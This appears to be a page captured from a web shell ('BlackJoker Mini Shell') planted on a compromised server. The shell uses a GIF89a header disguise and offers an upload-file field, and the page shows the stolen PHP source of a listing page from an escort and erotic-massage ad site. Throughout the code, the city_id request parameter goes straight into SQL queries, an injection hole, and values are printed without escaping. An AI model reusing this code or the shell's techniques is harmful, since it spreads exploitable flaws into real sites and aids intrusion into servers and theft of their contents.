GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/list-massage-parlor.php

<? session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
<? include "includes/header_top.php";?>

<body>

<? include "includes/header.php";?>
<div class="wrapper">
<div class="top_space" style="height:15px;"></div>
<div class="inside_wrp_top">
 <div class="insd_wr_top">Erotic Services In City 
 <span style="float:right; margin-right:5px; margin-top:7px;"><a href="post-ad.php"><img src="images/escort_post.png"/></a></span>
                </div>
 <div class="insd_wr_mid">
 	<div class="mid_topp">
    	<div class="service_escort">
         <ul>
          <? $sql_fmescort="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='1' And status='a'";
	  		 $res_fmescortl=execute_query($sql_fmescort);
	  		 $num_fmescort=mysql_num_rows($res_fmescortl);
			 
			  $sql_screscort="SELECT * FROM escorts WHERE esc_location='".$_GET['city_id']."'  And esc_status='Active'";
	  		 $res_screscortl=execute_query($sql_screscort);
	  		 $num_screscort=mysql_num_rows($res_screscortl);
			 $total_escort=$num_fmescort+$num_screscort;
		  ?>
          <li><a href="escort_service_list.php?fmlescort=1&city_id=<?=$_GET['city_id']?>&header=Female Escort"><img src="images/black_arrow.png">&nbsp;Female Escort(<?=$total_escort?>)</a></li>
           <? $sql_estagnc="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='2' And status='a'";
	  		 $res_estagnc=execute_query($sql_estagnc);
	  		 $num_estagnc=mysql_num_rows($res_estagnc);
		  ?>
          <li><a href="escort_service_list.php?esctagnc=2&city_id=<?=$_GET['city_id']?>&header=Escort Agency"><img src="images/black_arrow.png">&nbsp;Escort Agencies(<?=$num_estagnc?>)</a></li>
           <?php /*?><? $sql_tsescort="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='3' And status='a'";
	  		 $res_tsescortl=execute_query($sql_tsescort);
	  		 $num_tsescort=mysql_num_rows($res_tsescortl);
		  ?>
          <li><a href="escort_service_list.php?shemaleest=3&city_id=<?=$_GET['city_id']?>&header=Shemale Escort"><img src="images/black_arrow.png">&nbsp;TS/TG Shemale Escorts(<?=$num_tsescort?>)</a></li>          <?php */?>
         <? $sql_phweb="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='8' And status='a'";
	  		 $res_phwebt=execute_query($sql_phweb);
	  		 $num_phweb=mysql_num_rows($res_phwebt);
		  ?>
          <li><a href="escort_service_list.php?phoneweb=8&city_id=<?=$_GET['city_id']?>&header=Phone And Webs"><img src="images/black_arrow.png">&nbsp;Phone & Webs(<?=$num_phweb?>)</a></li> 
         
         
         </ul>
        	<!--<p style="width:200px;"><a href="" style="color:#660066; line-height:30px;" ><img src="images/right_arrow3.png">&nbsp;Female Escort()</a></p>
            <p><a href="" style="color:#660066;" ><img src="images/right_arrow3.png">Female Escort()</a></p>-->
        </div>
        <div class="service_escort">
        	<ul>
            <? $sql_bodyrubs="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='9' And status='a'";
	  		 $res_bodyrubs=execute_query($sql_bodyrubs);
	  		 $num_bodyrubs=mysql_num_rows($res_bodyrubs);
		  ?>
          <li><a href="escort_service_list.php?bodyrubs=9&city_id=<?=$_GET['city_id']?>&header=Body Rubs"><img src="images/black_arrow.png">&nbsp;Body Rubs(<?=$num_bodyrubs?>)</a></li>
          
           <? $sql_bdmsfetish="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='12' And status='a'";
	  		 $res_bdmsfetish=execute_query($sql_bdmsfetish);
	  		 $num_bdmsfetish=mysql_num_rows($res_bdmsfetish);
		  ?>         
          <li><a href="escort_service_list.php?bdsm=12&city_id=<?=$_GET['city_id']?>&header=BDMS/Fetish"><img src="images/black_arrow.png">&nbsp;BDSM/Fetish(<?=$num_bdmsfetish?>)</a></li>
          <? $sql_strpfrhire="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='6' And status='a'";
	  		 $res_strpfrhir=execute_query($sql_strpfrhire);
	  		 $num_strpfrhir=mysql_num_rows($res_strpfrhir);
		  ?>
          <li><a href="escort_service_list.php?strfrhire=6&city_id=<?=$_GET['city_id']?>&header=Strippers For Hire"><img src="images/black_arrow.png">&nbsp;Strippers For Hire(<?=$num_strpfrhir?>)</a></li>          
         </ul>
        </div>
        <div class="service_escort">
        	<ul>
             <? $sql_mlescort="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='4' And status='a'";
	  		 $res_mlescortl=execute_query($sql_mlescort);
	  		 $num_mlescort=mysql_num_rows($res_mlescortl);
		  ?>
          <li><a href="escort_service_list.php?mlforfml=4&city_id=<?=$_GET['city_id']?>&header=Male Escorts For Female"><img src="images/black_arrow.png">&nbsp;Male Escorts For Female(<?=$num_mlescort?>)</a></li>
          <? $sql_mlestml="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='5' And status='a'";
	  		 $res_mlestml=execute_query($sql_mlestml);
	  		 $num_mlestml=mysql_num_rows($res_mlestml);
		  ?>
          <li><a href="escort_service_list.php?mlforml=5&city_id=<?=$_GET['city_id']?>&header=Male Escorts For Male"><img src="images/black_arrow.png">&nbsp;Male For Male Escorts(<?=$num_mlestml?>)</a></li>
          <? $sql_mlfrbodyrub="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='10' And status='a'";
	  		 $res_mlfrbodyrub=execute_query($sql_mlfrbodyrub);
	  		 $num_mlfrbodyrub=mysql_num_rows($res_mlfrbodyrub);
		  ?>          
          <li><a href="escort_service_list.php?mlfrbodyrubsl=10&city_id=<?=$_GET['city_id']?>&header=Male Bodyrubs For Males"><img src="images/black_arrow.png">&nbsp;Male For Body Rubs(<?= $num_mlfrbodyrub?>)</a></li>          
         </ul>
        </div>
        <div class="service_escort">
        	<ul>
             <? $sql_livegirl="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='11' And status='a'";
	  		 $res_livegirl=execute_query($sql_livegirl);
	  		 $num_livegirl=mysql_num_rows($res_livegirl);
		  ?> 
          <li><a href="escort_service_list.php?livegirl=11&city_id=<?=$_GET['city_id']?>&header=Live Girls"><img src="images/black_arrow.png">&nbsp;Live Girls(<?=$num_livegirl?>)</a></li>
           <? $sql_adhpwt="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='7' And status='a'";
	  		 $res_adhpwt=execute_query($sql_adhpwt);
	  		 $num_adhpwt=mysql_num_rows($res_adhpwt);
		  ?>
          <li><a href="escort_service_list.php?adthpwant=7&city_id=<?=$_GET['city_id']?>&header=Adult Healp Wanted"><img src="images/black_arrow.png">&nbsp;Adult Help Wanted(<?=$num_adhpwt?>)</a></li>
                   
         </ul>
        </div>
        <br class="spacer" />
    </div>
    <div class="mid_buttom">
    	<?
        	 $sql_fmescort="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='1' And status='a' ORDER BY id DESC LIMIT 0,9";
	  		 $res_fmescortl=execute_query($sql_fmescort);
	  		 $num_fmescort=mysql_num_rows($res_fmescortl);
			 while($row_fmescort=mysql_fetch_array($res_fmescortl)){
			 
		  ?>
		
    	<div class="escort_div">
        	<? if($row_fmescort['picture']==""){

         		?><a href="escort-service-dtls.php?postid=<?=$row_fmescort['id']?>&city_id=<?= $row_fmescort['city_id']?>&catid=<?=$row_fmescort['ad_catagory']?>">
                	 <img src="images/No Image.gif" style="width:100%; height:86px; border-radius: 5px;" /></a>
                	<p align="center" class="fmescort">Female Escort</p>            
            		<p align="center" style="font-size:15px;"><? echo $row_fmescort['incall'].' '.$row_fmescort['outcall']?></p>
            		<p align="center"><? if($row_fmescort['ethnicity']!='0'){ echo $row_fmescort['ethnicity'];}?></p>
  			       <? }else{ ?>
                 <a href="escort-service-dtls.php?postid=<?=$row_fmescort['id']?>&city_id=<?= $_GET['city_id']?>&catid=<?=$row_fmescort['ad_catagory']?>">
                    <img src="avtar/<?=$row_fmescort['picture'] ?>" style="width:100%; height:86px; border-radius: 5px;"/></a>
                    <p align="center" class="fmescort">Female Escort</p>            
                    <p align="center" style="font-size:15px;"><? echo $row_fmescort['incall'].' '.$row_fmescort['outcall']?></p>
                    <p align="center"><? if($row_fmescort['ethnicity']!='0'){ echo $row_fmescort['ethnicity'];}?></p>

                 <? } ?>
        
        
        
               </div> 
        <? } ?>
        <!--<div class="escort_div">
        	<img src="images/escort_pics.png" style="width:100%;"/>
        </div>
        <div class="escort_div">
        	<img src="images/escort_pics.png" style="width:100%;"/>
        </div>
        <div class="escort_div">
        	<img src="images/escort_pics.png" style="width:100%;"/>
        </div>
        <div class="escort_div">
        	<img src="images/escort_pics.png" style="width:100%;"/>
        </div>
        <div class="escort_div">
        	<img src="images/escort_pics.png" style="width:100%;"/>
        </div>
        <div class="escort_div">
        	<img src="images/escort_pics.png" style="width:100%;"/>
        </div>
        <div class="escort_div">
        	<img src="images/escort_pics.png" style="width:100%;"/>
        </div>
        <div class="escort_div">
        	<img src="images/escort_pics.png" style="width:100%;"/>
        </div> -->
        <br class="spacer"/>   	
    </div>
    <br class="spacer" />
 </div>
 <div class="insd_wr_bottom"></div>	
</div>
<div class="inside_wrapper1">
    <div class="massg_parlor2"> 
    	<? $sql_msgprl="SELECT * FROM massageparlor WHERE city_id='".$_GET['city_id']."' AND status='a'";
			  $res_msgprl=execute_query($sql_msgprl);
			  $num_msgprl=mysql_num_rows($res_msgprl);
			?>
         <div class="massprl_header">Escort Massage Parlor(<?=$num_msgprl?>)</div>        
         <div class="massprl_mid_div">         
              <div class="msg_mid_toper">
              	<ul>
         		 <li><a href=""><img src="images/black_arrow.png">&nbsp;Erotic Massage Parlors(<?=$num_msgprl?>)</a></li>
                </ul>
              </div>
              
              <div class="msg_mid_midder">
              	<p class="rcnt_rvw">Recently Reviewed</p>
                <p class="rect_rvw_divider"><img src="images/recnt_rvwdivider.png"/>
                </p>
              </div>
              
              <div class="msg_mid_footer">
              <? if($num_msgprl>0){?>
              	 <div class="parlor_list" align="center">
     <? 
	 
	  $sql_lstmsgpl="select * from massageparlor where city_id='".$_GET['city_id']."' AND status='a' ORDER BY id DESC LIMIT 0,5";
	  $res_lstmsgpl=execute_query($sql_lstmsgpl);
	  $number=mysql_num_rows($res_lstmsgpl);
	  if($number>0)
	   {
		   while($row_lstmsgpl=mysql_fetch_array($res_lstmsgpl)){
	    ?>
        	<div style="float:left; margin:0 auto; margin-bottom:5px;">
                <p style="padding:0; margin:0; float:left; margin-left:2px; margin-top:5px;">
                   <? if($row_lstmsgpl['pic']==""){
					?><a href="massageparlor-details.php?parlor_id=<?=$row_lstmsgpl['id']?>&city_id=<?= $_GET['city_id']?>"><img src="images/No Image.gif" style="width:40px; height:30px; border:1px solid #666;" /></a>
						
					<? }else{ ?>
						<a href="massageparlor-details.php?parlor_id=<?=$row_lstmsgpl['id']?>&city_id=<?= $_GET['city_id']?>">
                   		<img src="avtar/<?=$row_lstmsgpl['pic'] ?>" style="width:40px; height:30px; border:1px solid #666;" />
                   </a>
					<? } ?>
                </p>
               <p style="padding:0; margin:5px 0 0 10px; float:left; text-align:left; font-size:15px; width:135px; font-weight:normal;">
                    <a style="color: #000;" href="massageparlor-details.php?parlor_id=<?=$row_lstmsgpl['id']?>&city_id=<?= $_GET['city_id']?>"><?=$row_lstmsgpl['name'] ?></a>
                    <br class="spacer"/>
                    <? $date=explode('-',$row_lstmsgpl['create_time']); ?>
                    <span style="color:#666; font-size:12px; float:left; font-weight:normal;">[<? echo $date[1].'/'.$date[2].'/'.$date[0] ?>]</span>
                    <!--<span style="color:<?=$row_color['color_main2'] ?>; font-size:14px; float:left; margin-left:5px; font-weight:normal;"><?=$row_user['username']; ?></span>-->
                </p>
            </div>
            <div style="margin-top:12px; margin-left:2px;"><img src="images/prl_divider.png"/></div>
        <? }
		
		}?>
     
   </div>   
   <div class="view_dtls"> 
   <a href="view_msgprl_dtls.php?city_id=<?=$_GET['city_id']?>&header=Erotic Massage Parlor"><img src="images/viewlist.png"/></a>
  </div>
  <? }
  else{ ?>
   <p style="padding:0; margin:5px 0 20px 15px; text-align:center; font-size:12px; width:150px; font-weight:normal;">No Massage Parlor</p>
  <? }?>          	
              </div>
              <br class="spacer"/>
         </div>
         <div class="massprl_btn_div"></div>
         <br class="spacer" />
    </div> 
    
    
    <div class="massg_parlor2"> 
			<? $sql_fmescort="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='1' And status='a'";
	  		 $res_fmescortl=execute_query($sql_fmescort);
	  		 $num_fmescort=mysql_num_rows($res_fmescortl);
		  ?>
         <div class="massprl_header">Female  Escorts</div>     
         <div class="massprl_mid_div">         
              <div class="msg_mid_toper">
              	<ul>
         		 <li><a href=""><img src="images/black_arrow.png">&nbsp;Female Escort(<?=$total_escort?>)</a></li>                 
                </ul>
              </div>
              
              <div class="msg_mid_midder">
              	<p class="rcnt_rvw">Recently Reviewed</p>
                <p class="rect_rvw_divider"><img src="images/recnt_rvwdivider.png"/>
                </p>
              </div>
              
              <div class="msg_mid_footer">
              <? if($num_fmescort>0){?>
              	 <div class="parlor_list" align="center">
     <? 
	 
	  $sql_lstmsgpl="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='1' And status='a' ORDER BY id DESC LIMIT 0,5";
	  $res_lstmsgpl=execute_query($sql_lstmsgpl);
	  $number=mysql_num_rows($res_lstmsgpl);
	  if($number>0)
	   {
		   while($row_lstmsgpl=mysql_fetch_array($res_lstmsgpl)){
	    ?>
        	<div style="float:left; margin:0 auto; margin-bottom:4px;">
                <p style="padding:0; margin:0; float:left; margin-left:2px; margin-top:5px;">
                   <? if($row_lstmsgpl['picture']==""){
					?><a href="escort-service-dtls.php?postid=<?=$row_lstmsgpl['id']?>&city_id=<?= $_GET['city_id']?>&catid=<?=$row_lstmsgpl['ad_catagory']?>"><img src="images/No Image.gif" style="width:40px; height:30px; border:1px solid #666;" /></a>
						
					<? }else{ 
					
					 
					?>
						<a href="escort-service-dtls.php?postid=<?=$row_lstmsgpl['id']?>&city_id=<?= $_GET['city_id']?>&catid=<?=$row_lstmsgpl['ad_catagory']?>">
                   		<img src="avtar/<?=$row_lstmsgpl['picture'] ?>" style="width:40px; height:30px; border:1px solid #666;" />
                   </a> 
                   				
					<?  }?>
                </p>
               <p style="padding:0; margin:5px 0 0 10px; float:left; text-align:left; font-size:15px; width:135px; font-weight:normal;">
                    <a style="color: #000;" href="escort-service-dtls.php?postid=<?=$row_lstmsgpl['id']?>&city_id=<?= $_GET['city_id']?>&catid=<?=$row_lstmsgpl['ad_catagory']?>"><?=$row_lstmsgpl['ad_name'] ?></a>
                    <br class="spacer"/>
                    <? $date=explode('-',$row_lstmsgpl['createdate']); ?>
                    <span style="color:#666; font-size:12px; float:left; font-weight:normal;">[<? echo $date[1].'/'.$date[2].'/'.$date[0] ?>]</span>
                    
                </p>
            </div>
            <div style="margin-top:12px; margin-left:2px;"><img src="images/prl_divider.png"/></div>
        <? }
		
		}?>
     
   </div>   
   <div class="view_dtls1"> 
   <a href="escort_service_list.php?fmlescort=1&city_id=<?=$_GET['city_id']?>&header=Female Escort"><img src="images/viewlist.png"/></a>
  </div>
  <? }
  else{ ?>
   <!--<p style="padding:0; margin:5px 0 20px 15px; text-align:center; font-size:12px; width:150px; font-weight:normal;">No Female Escort</p>-->
   
   <div class="parlor_list" align="center">
     <? 
	 
	  $sql_lstmsgpl="SELECT * FROM escorts WHERE esc_location='".$_GET['city_id']."' And esc_status='Active' ORDER BY esc_id DESC LIMIT 0,5";
	  $res_lstmsgpl=execute_query($sql_lstmsgpl);
	  $number=mysql_num_rows($res_lstmsgpl);
	  if($number>0)
	   {
		   while($row_lstmsgpl=mysql_fetch_array($res_lstmsgpl)){
	    ?>
        	<div style="float:left; margin:0 auto; margin-bottom:4px;">
                <p style="padding:0; margin:0; float:left; margin-left:2px; margin-top:5px;">
                   <? if($row_lstmsgpl['esc_file_name']==""){
					?><a href="escort_service_dtls.php?postid=<?=$row_lstmsgpl['esc_id']?>&city_id=<?= $_GET['city_id']?>"><img src="images/No Image.gif" style="width:40px; height:30px; border:1px solid #666;" /></a>
						
					<? }else{ 
					
					 
					?>
						<a href="escort_service_dtls.php?postid=<?=$row_lstmsgpl['esc_id']?>&city_id=<?= $_GET['city_id']?>">
                   		<img src="avtar/<?=$row_lstmsgpl['esc_file_name'] ?>" style="width:40px; height:30px; border:1px solid #666;" />
                   </a> 
                   				
					<?  }?>
                </p>
               <p style="padding:0; margin:5px 0 0 10px; float:left; text-align:left; font-size:15px; width:135px; font-weight:normal;">
                    <a style="color: #000;" href="escort_service_dtls.php?postid=<?=$row_lstmsgpl['esc_id']?>&city_id=<?= $_GET['city_id']?>">
					
					<? $desc=explode(' ',$row_lstmsgpl['esc_title']);
							for($i=0; $i<=3; $i++)	
							{
								echo $desc[$i].' ';
							}
						
						?>
					
					
                    <br class="spacer"/>
                    <!--<? $date=explode('-',$row_lstmsgpl['createdate']); ?>
                    <span style="color:#666; font-size:12px; float:left; font-weight:normal;">[<? echo $date[1].'/'.$date[2].'/'.$date[0] ?>]</span>-->
                    
                </p>
            </div>
            <div style="margin-top:12px; margin-left:2px;"><img src="images/prl_divider.png"/></div>
        <? } ?>
		<div class="view_dtls1"> 
   <a href="escort_service_list.php?fmlescort=1&city_id=<?=$_GET['city_id']?>&header=Female Escort"><img src="images/viewlist.png"/></a>
  </div>
		
	<? 	} else {?>
    	<p style="padding:0; margin:5px 0 20px 15px; text-align:center; font-size:12px; width:150px; font-weight:normal;">No Female Escort</p>
    <? } ?>
     
   </div>
   
   
  <? }?>          	
              </div>
              <br class="spacer"/>
         </div>
         <div class="massprl_btn_div"></div>
         <br class="spacer" />
    </div> 
    
    
    
    
    
    <div class="massg_parlor2"> 	
    	   <? $sql_estagnc="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='2' And status='a'";
	  		 $res_estagnc=execute_query($sql_estagnc);
	  		 $num_estagnc=mysql_num_rows($res_estagnc);
		  ?>
         <div class="massprl_header">Escort Agency</div>       
         <div class="massprl_mid_div">         
              <div class="msg_mid_toper">
              	<ul>
         		 <li><a href=""><img src="images/black_arrow.png">&nbsp;Escort Agency(<?=$num_estagnc?>)</a></li>
                </ul>
              </div>
              
              <div class="msg_mid_midder">
              	<p class="rcnt_rvw">Recently Reviewed</p>
                <p class="rect_rvw_divider"><img src="images/recnt_rvwdivider.png"/>
                </p>
              </div>
              
              <div class="msg_mid_footer">
              <? if($num_estagnc>0){?>
              	 <div class="parlor_list" align="center">
     <? 
	 
	  $sql_swclb="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='2' And status='a' ORDER BY id DESC  LIMIT 0,5";
	  $res_swclb=execute_query($sql_swclb);
	  $swclb_number=mysql_num_rows($res_swclb);
	  if($swclb_number>0)
	   {
		   while($row_swclb=mysql_fetch_array($res_swclb)){
	    ?>
        	<div style="float:left; margin:0 auto; margin-bottom:5px;">
                <p style="padding:0; margin:0; float:left; margin-left:2px; margin-top:5px;">
                   <? if($row_swclb['picture']==""){
					?><a href="escort-service-dtls.php?postid=<?=$row_swclb['id']?>&city_id=<?= $_GET['city_id']?>&catid=<?=$row_swclb['ad_catagory']?>"><img src="images/No Image.gif" style="width:40px; height:30px; border:1px solid #666;" /></a>
						
					<? }else{ ?>
						<a href="escort-service-dtls.php?postid=<?=$row_swclb['id']?>&city_id=<?= $_GET['city_id']?>&catid=<?=$row_swclb['ad_catagory']?>">
                   		<img src="avtar/<?=$row_swclb['picture'] ?>" style="width:40px; height:30px; border:1px solid #666;" />
                   </a>
					<? } ?>
                </p>
               <p style="padding:0; margin:5px 0 0 10px; float:left; text-align:left; font-size:15px; width:135px; font-weight:normal;">
                    <a style="color: #000;" href="escort-service-dtls.php?postid=<?=$row_swclb['id']?>&city_id=<?= $_GET['city_id']?>&catid=<?=$row_swclb['ad_catagory']?>"><?=$row_swclb['ad_name'] ?></a>
                    <br class="spacer"/>
                    <? $date=explode('-',$row_swclb['createdate']); ?>
                    <span style="color:#666; font-size:12px; float:left; font-weight:normal;">[<? echo $date[1].'/'.$date[2].'/'.$date[0] ?>]</span>
                    </p>
            </div>
            <div style="margin-top:12px; margin-left:2px;"><img src="images/prl_divider.png"/></div>
        <? }
		
		}?>
     
   </div>   
   <div class="view_dtls"> 
   <a href="escort_service_list.php?esctagnc=2&city_id=<?=$_GET['city_id']?>&header=Escort Agency"><img src="images/viewlist.png"/></a>
  </div>
  <? }
  else{ ?>
   <p style="padding:0; margin:5px 0 20px 15px; text-align:center; font-size:12px; width:150px; font-weight:normal;">No Escort Agency</p>
  <? }?>          	
              </div>
              <br class="spacer"/>
         </div>
         
         
         <div class="massprl_btn_div"></div>
         <br class="spacer" />
    </div> 
    
    
    
    <div class="massg_parlor2"> 	
    	   <? $sql_phweb="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='8' And status='a'";
	  		 $res_phwebt=execute_query($sql_phweb);
	  		 $num_phweb=mysql_num_rows($res_phwebt);
		  ?>
         <div class="massprl_header">Phone And Webs</div>       
         <div class="massprl_mid_div">         
              <div class="msg_mid_toper">
              	<ul>
         		 <li><a href=""><img src="images/black_arrow.png">&nbsp;Phone And Webs(<?=$num_phweb?>)</a></li>
                </ul>
              </div>
              
              <div class="msg_mid_midder">
              	<p class="rcnt_rvw">Recently Reviewed</p>
                <p class="rect_rvw_divider"><img src="images/recnt_rvwdivider.png"/>
                </p>
              </div>
              
              <div class="msg_mid_footer">
              <? if($num_phweb>0){?>
              	 <div class="parlor_list" align="center">
     <? 
	 
	  $sql_phweb="SELECT * FROM post_ad WHERE city_id='".$_GET['city_id']."' AND ad_catagory='8' And status='a' ORDER BY id DESC  LIMIT 0,5";
	  $res_phweb=execute_query($sql_phweb);
	  $phweb_number=mysql_num_rows($res_phweb);
	  if($phweb_number>0)
	   {
		   while($row_phweb=mysql_fetch_array($res_phweb)){
	    ?>
        	<div style="float:left; margin:0 auto; margin-bottom:5px;">
                <p style="padding:0; margin:0; float:left; margin-left:2px; margin-top:5px;">
                   <? if($row_phweb['picture']==""){
					?><a href="escort-service-dtls.php?postid=<?=$row_phweb['id']?>&city_id=<?= $_GET['city_id']?>&catid=<?=$row_phweb['ad_catagory']?>"><img src="images/No Image.gif" style="width:40px; height:30px; border:1px solid #666;" /></a>
						
					<? }else{ ?>
						<a href="escort-service-dtls.php?postid=<?=$row_phweb['id']?>&city_id=<?= $_GET['city_id']?>&catid=<?=$row_phweb['ad_catagory']?>">
                   		<img src="avtar/<?=$row_phweb['picture'] ?>" style="width:40px; height:30px; border:1px solid #666;" />
                   </a>
					<? } ?>
                </p>
               <p style="padding:0; margin:5px 0 0 10px; float:left; text-align:left; font-size:15px; width:135px; font-weight:normal;">
                    <a style="color: #000;" href="escort-service-dtls.php?postid=<?=$row_phweb['id']?>&city_id=<?= $_GET['city_id']?>&catid=<?=$row_phweb['ad_catagory']?>"><?=$row_phweb['ad_name'] ?></a>
                    <br class="spacer"/>
                    <? $date=explode('-',$row_phweb['createdate']); ?>
                    <span style="color:#666; font-size:12px; float:left; font-weight:normal;">[<? echo $date[1].'/'.$date[2].'/'.$date[0] ?>]</span>
                    </p>
            </div>
            <div style="margin-top:12px; margin-left:2px;"><img src="images/prl_divider.png"/></div>
        <? }
		
		}?>
     
   </div>   
   <div class="view_dtls"> 
   <a href="escort_service_list.php?phoneweb=8&city_id=<?=$_GET['city_id']?>&header=Phone And Webs"><img src="images/viewlist.png"/></a>
  </div>
  <? }
  else{ ?>
   <p style="padding:0; margin:5px 0 20px 15px; text-align:center; font-size:12px; width:150px; font-weight:normal;">No Phone And Webs</p>
  <? }?>          	
              </div>
              <br class="spacer"/>
         </div>
         
         
         <div class="massprl_btn_div"></div>
         <br class="spacer" />
    </div>
    
    
     
</div>
  
</div>
<br class="spacer" />

<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0